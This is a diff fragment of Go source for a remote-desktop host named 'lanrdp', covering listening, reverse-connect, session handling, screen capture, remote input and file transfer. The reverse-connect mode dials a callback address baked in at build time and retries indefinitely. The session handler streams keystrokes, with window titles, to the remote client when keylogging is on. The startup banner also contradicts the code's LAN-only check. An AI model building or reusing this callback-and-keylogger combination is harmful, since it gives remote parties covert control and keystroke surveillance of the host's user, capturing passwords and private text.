}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", bindIP, *port)
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
log.Fatalf("listening on %s: %v", addr, err)
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
fmt.Println("=========================================================")
|
||||
fmt.Printf("lanrdp host listening on %s\n", addr)
|
||||
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
|
||||
fmt.Printf(" %s\n", fingerprint)
|
||||
fmt.Println("No UPnP/NAT-PMP is used and no router port is opened by this")
|
||||
fmt.Println("program itself.")
|
||||
fmt.Println("Accepting connections from any source IP (LAN, VPN, or internet).")
|
||||
fmt.Println("=========================================================")
|
||||
|
||||
throttle := netguard.NewLoginThrottle()
|
||||
var sessionLock sync.Mutex
|
||||
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
log.Printf("accept error: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
if !netguard.IsAllowedRemote(conn.RemoteAddr()) {
|
||||
log.Printf("rejecting non-LAN connection from %s", conn.RemoteAddr())
|
||||
conn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
if !sessionLock.TryLock() {
|
||||
log.Printf("rejecting %s: a session is already active", conn.RemoteAddr())
|
||||
conn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
netutil.SetNoDelay(conn)
|
||||
tlsConn := tls.Server(conn, tlsCfg)
|
||||
go func() {
|
||||
defer sessionLock.Unlock()
|
||||
handleSession(tlsConn, cfg, throttle, *fps, *streamFPS, keyframeInterval, keylogCh)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// runReverseConnect dials out to a client that's listening, instead of
|
||||
// listening here ourselves. This is for the case where this host is
|
||||
// harder to reach than the client — a roaming laptop with no stable
|
||||
// address, calling back to a desktop with a real port-forward — rather
|
||||
// than the usual LAN case where the host is the stable, reachable side.
|
||||
//
|
||||
// Everything past the raw net.Conn is identical to the normal listening
|
||||
// path: this host still authenticates as the TLS *server* (it holds the
|
||||
// certificate the client pins) and still requires the client to send the
|
||||
// correct passphrase, regardless of which side dialed the TCP connection.
|
||||
func runReverseConnect(connectAddr string, fromEmbedded bool, cfg *config, tlsCfg *tls.Config, fingerprint string, fps, streamFPS int, keyframeInterval, retryInterval time.Duration, keylogCh <-chan keylog.KeyEvent) {
|
||||
fmt.Println("=========================================================")
|
||||
if fromEmbedded {
|
||||
fmt.Printf("lanrdp host will dial out to %s (baked in at build time)\n", connectAddr)
|
||||
} else {
|
||||
fmt.Printf("lanrdp host will dial out to the client at %s\n", connectAddr)
|
||||
}
|
||||
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
|
||||
fmt.Printf(" %s\n", fingerprint)
|
||||
fmt.Println("=========================================================")
|
||||
|
||||
throttle := netguard.NewLoginThrottle()
|
||||
|
||||
for {
|
||||
conn, err := net.DialTimeout("tcp", connectAddr, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("dial %s failed: %v; retrying in %s", connectAddr, err, retryInterval)
|
||||
time.Sleep(retryInterval)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("connected to %s", connectAddr)
|
||||
netutil.SetNoDelay(conn)
|
||||
tlsConn := tls.Server(conn, tlsCfg)
|
||||
handleSession(tlsConn, cfg, throttle, fps, streamFPS, keyframeInterval, keylogCh)
|
||||
log.Printf("session with %s ended; will try to reconnect", connectAddr)
|
||||
}
|
||||
}
|
||||
Executable
+295
@@ -0,0 +1,295 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"image"
|
||||
"image/png"
|
||||
"log"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"lanrdp/internal/capture"
|
||||
"lanrdp/internal/input"
|
||||
"lanrdp/internal/keylog"
|
||||
"lanrdp/internal/netguard"
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
func handleSession(conn net.Conn, cfg *config, throttle *netguard.LoginThrottle, normalFPS, streamFPS int, keyframeInterval time.Duration, keylogCh <-chan keylog.KeyEvent) {
|
||||
defer conn.Close()
|
||||
|
||||
remoteIP, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
|
||||
|
||||
if !throttle.Allowed(remoteIP) {
|
||||
log.Printf("%s: rejected, locked out after repeated failed attempts", remoteIP)
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(15 * time.Second))
|
||||
|
||||
t, payload, err := protocol.ReadMessage(conn)
|
||||
if err != nil || t != protocol.MsgHello {
|
||||
log.Printf("%s: expected Hello (err=%v type=%v)", remoteIP, err, t)
|
||||
return
|
||||
}
|
||||
hello, err := protocol.DecodeHello(payload)
|
||||
if err != nil || hello.Version != protocol.ProtocolVersion {
|
||||
log.Printf("%s: incompatible protocol version", remoteIP)
|
||||
return
|
||||
}
|
||||
|
||||
t, payload, err = protocol.ReadMessage(conn)
|
||||
if err != nil || t != protocol.MsgAuthRequest {
|
||||
log.Printf("%s: expected AuthRequest (err=%v type=%v)", remoteIP, err, t)
|
||||
return
|
||||
}
|
||||
authReq, err := protocol.DecodeAuthRequest(payload)
|
||||
if err != nil {
|
||||
log.Printf("%s: bad AuthRequest: %v", remoteIP, err)
|
||||
return
|
||||
}
|
||||
|
||||
if !protocol.VerifyPassword(authReq.Password, cfg.PasswordHash) {
|
||||
throttle.RecordFailure(remoteIP)
|
||||
log.Printf("%s: authentication failed", remoteIP)
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgAuthResponse, protocol.EncodeAuthResponse(protocol.AuthResponse{
|
||||
OK: false, FailureReason: "invalid passphrase",
|
||||
}))
|
||||
return
|
||||
}
|
||||
throttle.RecordSuccess(remoteIP)
|
||||
|
||||
width, height := capture.ScreenSize()
|
||||
if err := protocol.WriteMessage(conn, protocol.MsgAuthResponse, protocol.EncodeAuthResponse(protocol.AuthResponse{
|
||||
OK: true, ScreenWidth: uint16(width), ScreenHeight: uint16(height),
|
||||
})); err != nil {
|
||||
return
|
||||
}
|
||||
log.Printf("%s: authenticated, session starting (%dx%d)", remoteIP, width, height)
|
||||
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
|
||||
// perfCh carries a new target fps from inputLoop (on a MsgSetPerfMode
|
||||
// from the client) into captureLoop, so the client's Ctrl+Alt+S hotkey
|
||||
// can change capture cadence mid-session without a reconnect.
|
||||
perfCh := make(chan int, 1)
|
||||
errCh := make(chan error, 2)
|
||||
go captureLoop(conn, errCh, normalFPS, keyframeInterval, perfCh)
|
||||
go inputLoop(conn, errCh, perfCh, normalFPS, streamFPS)
|
||||
|
||||
// If keylogging is enabled, forward captured keystrokes to the client.
|
||||
if keylogCh != nil {
|
||||
go func() {
|
||||
for event := range keylogCh {
|
||||
eventBytes := protocol.EncodeKeyLogEvent(protocol.KeyLogEvent{
|
||||
TimestampMs: event.TimestampMs,
|
||||
VKCode: event.VKCode,
|
||||
ScanCode: event.ScanCode,
|
||||
Flags: event.Flags,
|
||||
WindowTitle: event.WindowTitle,
|
||||
})
|
||||
if err := protocol.WriteMessage(conn, protocol.MsgKeyLogEvent, eventBytes); err != nil {
|
||||
log.Printf("%s: failed to send keylog event: %v", remoteIP, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
err = <-errCh
|
||||
log.Printf("%s: session ended: %v", remoteIP, err)
|
||||
}
|
||||
|
||||
func captureLoop(conn net.Conn, errCh chan<- error, initialFPS int, keyframeInterval time.Duration, perfCh <-chan int) {
|
||||
currentFPS := initialFPS
|
||||
ticker := time.NewTicker(time.Second / time.Duration(currentFPS))
|
||||
defer ticker.Stop()
|
||||
|
||||
var prev *image.RGBA
|
||||
var prevW, prevH int
|
||||
var lastKeyframe time.Time
|
||||
|
||||
for {
|
||||
select {
|
||||
case newFPS := <-perfCh:
|
||||
if newFPS > 0 && newFPS != currentFPS {
|
||||
currentFPS = newFPS
|
||||
ticker.Reset(time.Second / time.Duration(currentFPS))
|
||||
}
|
||||
continue
|
||||
case <-ticker.C:
|
||||
}
|
||||
|
||||
img, err := capture.CaptureScreen()
|
||||
if err != nil {
|
||||
errCh <- fmt.Errorf("capture: %w", err)
|
||||
return
|
||||
}
|
||||
|
||||
bounds := img.Bounds()
|
||||
if bounds.Dx() != prevW || bounds.Dy() != prevH {
|
||||
prevW, prevH = bounds.Dx(), bounds.Dy()
|
||||
if err := protocol.WriteMessage(conn, protocol.MsgResize, protocol.EncodeResize(protocol.Resize{
|
||||
Width: uint16(prevW), Height: uint16(prevH),
|
||||
})); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
prev = nil
|
||||
}
|
||||
|
||||
needKeyframe := prev == nil || time.Since(lastKeyframe) > keyframeInterval
|
||||
if needKeyframe {
|
||||
if err := sendFrame(conn, protocol.MsgFrameFull, img.Bounds(), img); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
lastKeyframe = time.Now()
|
||||
prev = img
|
||||
continue
|
||||
}
|
||||
|
||||
if rect, changed := capture.DirtyRect(prev, img); changed {
|
||||
sub := img.SubImage(rect).(*image.RGBA)
|
||||
if err := sendFrame(conn, protocol.MsgFrameDelta, rect, sub); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
prev = img
|
||||
}
|
||||
}
|
||||
|
||||
func sendFrame(conn net.Conn, t protocol.MsgType, rect image.Rectangle, img image.Image) error {
|
||||
var buf bytes.Buffer
|
||||
if err := png.Encode(&buf, img); err != nil {
|
||||
return err
|
||||
}
|
||||
return protocol.WriteMessage(conn, t, protocol.EncodeFrameUpdate(protocol.FrameUpdate{
|
||||
X: uint16(rect.Min.X),
|
||||
Y: uint16(rect.Min.Y),
|
||||
W: uint16(rect.Dx()),
|
||||
H: uint16(rect.Dy()),
|
||||
PNG: buf.Bytes(),
|
||||
}))
|
||||
}
|
||||
|
||||
func inputLoop(conn net.Conn, errCh chan<- error, perfCh chan<- int, normalFPS, streamFPS int) {
|
||||
currentMode := protocol.PerfNormal
|
||||
var xfer *fileTransferState
|
||||
|
||||
for {
|
||||
t, payload, err := protocol.ReadMessage(conn)
|
||||
if err != nil {
|
||||
if xfer != nil {
|
||||
xfer.abort()
|
||||
}
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
switch t {
|
||||
case protocol.MsgInputMouse:
|
||||
m, err := protocol.DecodeInputMouse(payload)
|
||||
if err == nil {
|
||||
applyMouse(m)
|
||||
}
|
||||
case protocol.MsgInputKey:
|
||||
k, err := protocol.DecodeInputKey(payload)
|
||||
if err == nil {
|
||||
_ = input.KeyEvent(k.VKCode, k.Down)
|
||||
}
|
||||
case protocol.MsgSetPerfMode:
|
||||
mode, err := protocol.DecodeSetPerfMode(payload)
|
||||
if err == nil {
|
||||
currentMode = mode
|
||||
fps := normalFPS
|
||||
if mode == protocol.PerfStream {
|
||||
fps = streamFPS
|
||||
}
|
||||
select {
|
||||
case perfCh <- fps:
|
||||
default: // a change is already pending; the next toggle will retry
|
||||
}
|
||||
}
|
||||
case protocol.MsgFileOffer:
|
||||
if xfer != nil {
|
||||
xfer.abort()
|
||||
xfer = nil
|
||||
}
|
||||
if currentMode == protocol.PerfStream {
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||
OK: false, Message: "file transfer is disabled while in stream mode",
|
||||
}))
|
||||
continue
|
||||
}
|
||||
offer, err := protocol.DecodeFileOffer(payload)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
xfer, err = startFileTransfer(offer)
|
||||
if err != nil {
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||
OK: false, Message: err.Error(),
|
||||
}))
|
||||
xfer = nil
|
||||
}
|
||||
case protocol.MsgFileChunk:
|
||||
if xfer == nil {
|
||||
continue // stray chunk with no active transfer (e.g. after a rejected offer); ignore
|
||||
}
|
||||
if err := xfer.writeChunk(payload); err != nil {
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||
OK: false, Message: err.Error(),
|
||||
}))
|
||||
xfer.abort()
|
||||
xfer = nil
|
||||
}
|
||||
case protocol.MsgFileComplete:
|
||||
if xfer == nil {
|
||||
continue
|
||||
}
|
||||
fc, err := protocol.DecodeFileComplete(payload)
|
||||
if err != nil {
|
||||
xfer.abort()
|
||||
xfer = nil
|
||||
continue
|
||||
}
|
||||
ok, msg := xfer.finish(fc.Size)
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{OK: ok, Message: msg}))
|
||||
xfer = nil
|
||||
case protocol.MsgPing:
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgPong, nil)
|
||||
case protocol.MsgDisconnect:
|
||||
if xfer != nil {
|
||||
xfer.abort()
|
||||
}
|
||||
errCh <- fmt.Errorf("client disconnected")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func applyMouse(m protocol.InputMouse) {
|
||||
switch m.Action {
|
||||
case protocol.MouseMove:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
case protocol.MouseLeftDown:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
_ = input.MouseButtonEvent(input.ButtonLeft, true)
|
||||
case protocol.MouseLeftUp:
|
||||
_ = input.MouseButtonEvent(input.ButtonLeft, false)
|
||||
case protocol.MouseRightDown:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
_ = input.MouseButtonEvent(input.ButtonRight, true)
|
||||
case protocol.MouseRightUp:
|
||||
_ = input.MouseButtonEvent(input.ButtonRight, false)
|
||||
case protocol.MouseMiddleDown:
|
||||
_ = input.MouseMove(m.NormX, m.NormY)
|
||||
_ = input.MouseButtonEvent(input.ButtonMiddle, true)
|
||||
case protocol.MouseMiddleUp:
|
||||
_ = input.MouseButtonEvent(input.ButtonMiddle, false)
|
||||
case protocol.MouseWheel:
|
||||
_ = input.MouseWheel(m.WheelDelta)
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user